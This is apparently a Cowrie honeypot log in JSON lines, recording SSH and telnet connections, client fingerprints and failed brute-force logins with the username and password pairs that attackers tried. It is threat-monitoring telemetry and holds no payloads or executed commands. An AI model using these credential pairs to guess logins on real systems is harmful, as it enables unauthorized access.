{"eventid":"cowrie.login.failed","username":"sasha","password":"123456","message":"login attempt [sasha/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:09:42.332930Z","src_ip":"159.65.58.200","session":"d6ffba470a0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:09:43.632724Z","src_ip":"159.65.58.200","session":"d6ffba470a0b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.116.220.251","src_port":46935,"dst_ip":"159.203.135.109","dst_port":22,"session":"d45a67c818d6","protocol":"ssh","message":"New connection: 181.116.220.251:46935 (159.203.135.109:22) [session: d45a67c818d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:09:55.759620Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:09:55.762404Z","src_ip":"181.116.220.251","session":"d45a67c818d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:09:55.929132Z","src_ip":"181.116.220.251","session":"d45a67c818d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456@Abc","message":"login attempt [root/123456@Abc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:09:56.633673Z","src_ip":"181.116.220.251","session":"d45a67c818d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:09:57.802429Z","src_ip":"181.116.220.251","session":"d45a67c818d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":83.34044647216797,"message":"Connection lost after 83 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:09:58.865362Z","src_ip":"170.64.224.25","session":"3dba750c0833","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":56820,"dst_ip":"159.203.135.109","dst_port":22,"session":"7aa1a9788ad2","protocol":"ssh","message":"New connection: 62.133.62.83:56820 (159.203.135.109:22) [session: 7aa1a9788ad2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:10:06.768995Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:10:06.773684Z","src_ip":"62.133.62.83","session":"7aa1a9788ad2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:10:06.852504Z","src_ip":"62.133.62.83","session":"7aa1a9788ad2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"18101993","message":"login attempt [root/18101993] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:10:07.092432Z","src_ip":"62.133.62.83","session":"7aa1a9788ad2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:10:08.174015Z","src_ip":"62.133.62.83","session":"7aa1a9788ad2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.235.24.233","src_port":57772,"dst_ip":"10.17.0.5","dst_port":22,"session":"5aad6585ad9b","protocol":"ssh","message":"New connection: 198.235.24.233:57772 (10.17.0.5:22) [session: 5aad6585ad9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:10:10.869562Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-ZGrab ZGrab SSH Survey","message":"Remote SSH version: SSH-2.0-ZGrab ZGrab SSH Survey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:10:11.688503Z","src_ip":"198.235.24.233","session":"5aad6585ad9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":47358,"dst_ip":"10.17.0.5","dst_port":22,"session":"43a6622fe342","protocol":"ssh","message":"New connection: 103.149.28.157:47358 (10.17.0.5:22) [session: 43a6622fe342]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:10:12.032309Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:10:12.035189Z","src_ip":"103.149.28.157","session":"43a6622fe342","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:10:12.291593Z","src_ip":"103.149.28.157","session":"43a6622fe342","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"dd9bcf093c355da7000132131cb36fd0","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se;hmac-md5-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-ripemd160-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,hmac-md5,hmac-sha1,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96;none,zlib@openssh.com,zlib","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-rsa-cert-v00@openssh.com","ssh-dss-cert-v00@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","aes192-cbc","aes256-cbc","arcfour","rijndael-cbc@lysator.liu.se"],"macCS":["hmac-md5-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-ripemd160-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","hmac-md5","hmac-sha1","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-ripemd160","hmac-ripemd160@openssh.com","hmac-sha1-96","hmac-md5-96"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: dd9bcf093c355da7000132131cb36fd0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:10:12.851722Z","src_ip":"198.235.24.233","session":"5aad6585ad9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aubrey","message":"login attempt [root/aubrey] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:10:15.592114Z","src_ip":"103.149.28.157","session":"43a6622fe342","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:10:16.848423Z","src_ip":"103.149.28.157","session":"43a6622fe342","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.6","message":"Connection lost after 9.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:10:20.462618Z","src_ip":"198.235.24.233","session":"5aad6585ad9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.55","src_port":47990,"dst_ip":"10.17.0.5","dst_port":22,"session":"07ca68cf56da","protocol":"ssh","message":"New connection: 80.94.92.55:47990 (10.17.0.5:22) [session: 07ca68cf56da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:10:54.650618Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:10:55.194042Z","src_ip":"80.94.92.55","session":"07ca68cf56da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:10:55.319974Z","src_ip":"80.94.92.55","session":"07ca68cf56da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd","message":"login attempt [root/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:10:57.585167Z","src_ip":"80.94.92.55","session":"07ca68cf56da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.6","message":"Connection lost after 4.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:10:59.262760Z","src_ip":"80.94.92.55","session":"07ca68cf56da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":43286,"dst_ip":"159.203.135.109","dst_port":22,"session":"5888cacc02fa","protocol":"ssh","message":"New connection: 38.93.206.2:43286 (159.203.135.109:22) [session: 5888cacc02fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:12:04.006074Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:12:04.010092Z","src_ip":"38.93.206.2","session":"5888cacc02fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:12:04.060217Z","src_ip":"38.93.206.2","session":"5888cacc02fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pharmacy","message":"login attempt [root/pharmacy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:12:04.210978Z","src_ip":"38.93.206.2","session":"5888cacc02fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:12:05.263160Z","src_ip":"38.93.206.2","session":"5888cacc02fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":60696,"dst_ip":"10.17.0.5","dst_port":22,"session":"a0bc53d9481e","protocol":"ssh","message":"New connection: 91.92.40.4:60696 (10.17.0.5:22) [session: a0bc53d9481e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:12:14.478482Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:12:14.483116Z","src_ip":"91.92.40.4","session":"a0bc53d9481e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:12:14.564625Z","src_ip":"91.92.40.4","session":"a0bc53d9481e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"123321","message":"login attempt [test/123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:12:14.824847Z","src_ip":"91.92.40.4","session":"a0bc53d9481e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:12:15.908369Z","src_ip":"91.92.40.4","session":"a0bc53d9481e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":36182,"dst_ip":"159.203.135.109","dst_port":23,"session":"3f39e11af290","protocol":"telnet","message":"New connection: 137.184.5.188:36182 (159.203.135.109:23) [session: 3f39e11af290]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:12:22.181623Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":33758,"dst_ip":"159.203.135.109","dst_port":22,"session":"e0c796947774","protocol":"ssh","message":"New connection: 159.65.58.200:33758 (159.203.135.109:22) [session: e0c796947774]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:12:39.494876Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:12:39.625005Z","src_ip":"159.65.58.200","session":"e0c796947774","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:12:39.627487Z","src_ip":"159.65.58.200","session":"e0c796947774","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":34978,"dst_ip":"159.203.135.109","dst_port":23,"session":"adc8720e0294","protocol":"telnet","message":"New connection: 170.64.224.25:34978 (159.203.135.109:23) [session: adc8720e0294]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:12:40.447835Z"}
